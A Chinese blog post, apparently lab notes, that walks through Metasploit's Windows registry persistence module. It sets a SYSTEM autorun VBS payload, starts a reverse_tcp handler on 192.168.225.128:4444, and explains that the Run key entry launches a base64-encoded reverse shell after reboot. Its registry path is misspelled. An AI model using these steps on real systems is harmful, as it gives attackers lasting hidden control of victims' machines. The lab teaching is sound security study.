本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
注册表权限驻留
meterpreter getshell
略
meterpreter windows persistence
- bg 挂起 session
- show payload 查看可用 payloads
- use exploit/windows/local/persistence 切换 payload
- show options 查看参数
- 设置参数
- set session 3 指定 session id
- set startup SYSTEM 切换启动用户为 SYSTEM
- run 运行
从提示信息:
- 运行了持久化模块
- 写入了 VBS 脚本在 C:\Windows\TEMP\tszxnxwz.vbs 目录下
- 在 XXX 注册表目录下安装键值对(HKLM 是 HKEY_LOCAL_MACHINE)
- 注册表下将键值对安装为 autorun 完成
- 清理 meterpreter 的 rc 文件
开启监听等待目标上线
- 回到 meterpreter 中,back 退出当前模块
- use exploit/multi/handler 使用监听模块
- set payload windows/meterpreter/reverse_tcp 指定监听 payload
- set lhost 192.168.225.128 指定 localhost,端口默认 4444
- run 开启监听,等待目标上线
重启目标机器,模拟上线
目标机:重启完成
主控机:原 session 断开,自动重新建立新 session
原理解析
- 该模块会自动在注册表的 autorun 目录下创建一个键为随机值,值为 vbs 脚本的键值对。
HKEY_LOCAL_MACHINE\Sofeware\Microsoft\Windows\CurrenVersion\Run
目录为 Windows 的 autorun 文件,在这个目录下的键值对会在开机时自动运行。
- autorun 指向的 vbs 脚本中,写入的是一串经过 base64 编码的 vbs 脚本,其目的是反弹shell至本机(执行生成脚本命令的机器,也就是Kali)的 4444 端口(这也是为什么监听时要设置的是 localhost 值为 kali 机的 4444 端口的原因)